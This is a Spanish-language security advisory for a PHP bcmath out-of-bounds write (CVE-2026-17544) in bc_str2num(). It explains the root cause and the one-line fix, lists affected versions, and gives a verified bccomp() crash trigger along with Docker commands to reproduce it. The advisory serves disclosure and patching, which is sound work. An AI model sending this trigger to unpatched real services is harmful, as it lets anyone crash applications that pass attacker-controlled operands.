CVE-2026-17544 — PHP bcmath bccomp(): escritura fuera de límites (Stack Smashing)

CVSS 9.8 (Crítico) · CWE-787 · GHSA-x692-q9x7-8c3f

Resumen

bc_str2num() en ext/bcmath/libbcmath/src/str2num.c (libbcmath integrado, PHP 8.4+) contiene una escritura fuera de límites por desfase de N (off-by-N). Cuando la scale proporcionada por el usuario es menor que la escala automática del operando, la fracción se trunca y luego se realiza un recorte de ceros finales sin actualizar fractional_end. El búfer se asigna para la longitud recortada (más corta), pero la copia usa la longitud no recortada → desbordamiento de búfer en heap/stack.

Afectado: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9 Corregido: PHP 8.4.24 / 8.5.9 (2026-07-30), commits fa18dab73f93 / ce2ec8a70755 Crédito del informador: Recep Asan (recepasan)

Causa raíz

// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end;   // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)            // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

La corrección de una línea (fractional_end = fractional_new_end;) junto con la prueba de regresión ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt se incorporaron en 8.4.24/8.5.9.

Disparador (verificado)

bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);

Verificado el 2026-08-12 en Raspberry Pi 5 (arm64) mediante Docker.

Uso

# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)

# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0

Impacto

• DoS remoto: cualquier servicio que pase operandos/escala controlados por el atacante a bccomp() puede bloquearse de forma determinista (8.4/8.5, las compilaciones con stack protector abortan; las compilaciones sin protección corrompen registros guardados/dirección de retorno).
• RCE: teóricamente posible mediante heap grooming, pero los bytes fuera de límites se limitan a valores BCD (0x00–0x09) y el tamaño del desbordamiento = número de ceros recortados — difícil, no demostrado.

Referencias

• GHSA: https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17544
• Corrección 8.4: fa18dab73f93 · Corrección 8.5: ce2ec8a70755